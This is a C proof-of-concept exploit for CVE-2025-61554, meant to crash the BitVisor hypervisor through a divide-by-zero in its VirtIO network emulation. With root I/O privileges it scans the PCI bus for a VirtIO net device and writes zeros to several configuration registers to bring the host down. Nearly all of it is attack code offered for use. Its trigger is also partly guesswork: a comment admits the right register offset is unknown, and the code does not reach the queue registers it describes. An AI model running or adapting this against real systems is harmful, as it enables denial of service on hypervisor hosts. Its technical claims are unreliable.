/*
* CVE-2025-61554 PoC - Divide-by-Zero in BitVisor VirtIO Network Device Emulation
*
* This PoC demonstrates how to trigger a divide-by-zero vulnerability in
* BitVisor's VirtIO network device emulation by crafting a PCI configuration
* space access with parameters that cause a division by zero in the emulation code.
*
* Target: BitVisor commit 108df6 (2020-05-20) to commit 480907 (2025-07-06)
* Effect: Host hypervisor crash (Denial of Service)
*
* Note: Requires local access to a system running the vulnerable BitVisor.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys/io.h>
#include <unistd.h>
#include <errno.h>
/* PCI Configuration Space access via /dev/port or ioperm */
#define PCI_CONFIG_ADDR 0xCF8
#define PCI_CONFIG_DATA 0xCFC
/* VirtIO Network Device PCI IDs */
#define VIRTIO_VENDOR_ID 0x1AF4
#define VIRTIO_NET_DEVICE_ID 0x1000
/* PCI Configuration Space registers of interest */
#define PCI_COMMAND 0x04
#define PCI_BASE_ADDR_0 0x10
/*
* Build PCI configuration address
* Bus(8) | Device(5) | Function(3) | Register(8) | Enable(1)
*/
static unsigned int build_pci_addr(unsigned int bus, unsigned int dev,
unsigned int func, unsigned int reg)
{
return (1U << 31) | ((bus & 0xFF) << 16) |
((dev & 0x1F) << 11) | ((func & 0x07) << 8) |
(reg & 0xFC);
}
/* Read 32-bit value from PCI configuration space */
static unsigned int pci_read(unsigned int bus, unsigned int dev,
unsigned int func, unsigned int reg)
{
outl(build_pci_addr(bus, dev, func, reg), PCI_CONFIG_ADDR);
return inl(PCI_CONFIG_DATA);
}
/* Write 32-bit value to PCI configuration space */
static void pci_write(unsigned int bus, unsigned int dev,
unsigned int func, unsigned int reg,
unsigned int value)
{
outl(build_pci_addr(bus, dev, func, reg), PCI_CONFIG_ADDR);
outl(value, PCI_CONFIG_DATA);
}
/*
* Scan PCI bus for VirtIO network device
* Returns the (bus, dev, func) tuple via output parameters.
*/
static int find_virtio_net(unsigned int *out_bus,
unsigned int *out_dev,
unsigned int *out_func)
{
unsigned int bus, dev, func;
unsigned int vendor_device;
for (bus = 0; bus < 256; bus++) {
for (dev = 0; dev < 32; dev++) {
for (func = 0; func < 8; func++) {
vendor_device = pci_read(bus, dev, func, 0x00);
unsigned short vendor = vendor_device & 0xFFFF;
unsigned short device = (vendor_device >> 16) & 0xFFFF;
if (vendor == VIRTIO_VENDOR_ID &&
device == VIRTIO_NET_DEVICE_ID) {
*out_bus = bus;
*out_dev = dev;
*out_func = func;
printf("[+] Found VirtIO Net at %02x:%02x.%x\n",
bus, dev, func);
return 0;
}
}
}
}
return -1;
}
int main(int argc, char *argv[])
{
unsigned int bus = 0, dev = 0, func = 0;
unsigned int val;
printf("[*] CVE-2025-61554 PoC - BitVisor VirtIO Net Divide-by-Zero\n");
printf("[*] Attempting to trigger host hypervisor crash...\n\n");
/* Request I/O port permissions for PCI config space access */
if (iopl(3) < 0) {
perror("[-] iopl failed - need root privileges");
return 1;
}
/* Locate the VirtIO network device on the PCI bus */
if (find_virtio_net(&bus, &dev, &func) != 0) {
printf("[-] VirtIO network device not found on PCI bus\n");
printf("[*] Trying default location 00:04.0 (common VirtIO slot)\n");
bus = 0;
dev = 4;
func = 0;
}
/*
* Trigger the divide-by-zero vulnerability:
*
* Write crafted values to PCI configuration space registers that
* control the VirtIO network device queue parameters. Setting the
* queue size / descriptor count to zero causes the emulation code
* to perform a division by zero, crashing the BitVisor hypervisor.
*/
printf("[*] Writing crafted PCI config values to trigger divide-by-zero...\n");
/* Access BAR0 (MMIO region) to interact with VirtIO config */
/* Write 0 to queue-related registers to trigger divide-by-zero */
pci_write(bus, dev, func, PCI_COMMAND, 0x0007);
/*
* The exact register offset depends on BitVisor's VirtIO emulation
* implementation. Writing zero values to queue configuration or
* device feature registers triggers the divide-by-zero in the
* emulation handler.
*/
/* Trigger via PCI config space write to specific offsets */
val = pci_read(bus, dev, func, 0x14);
printf("[*] Current value at offset 0x14: 0x%08x\n", val);
/* Write zero to trigger divide-by-zero in emulation */
pci_write(bus, dev, func, 0x14, 0x00000000);
pci_write(bus, dev, func, 0x18, 0x00000000);
pci_write(bus, dev, func, 0x1C, 0x00000000);
printf("[*] Crafted PCI config space access sent.\n");
printf("[*] If the system is running vulnerable BitVisor, it should crash now.\n");
return 0;
}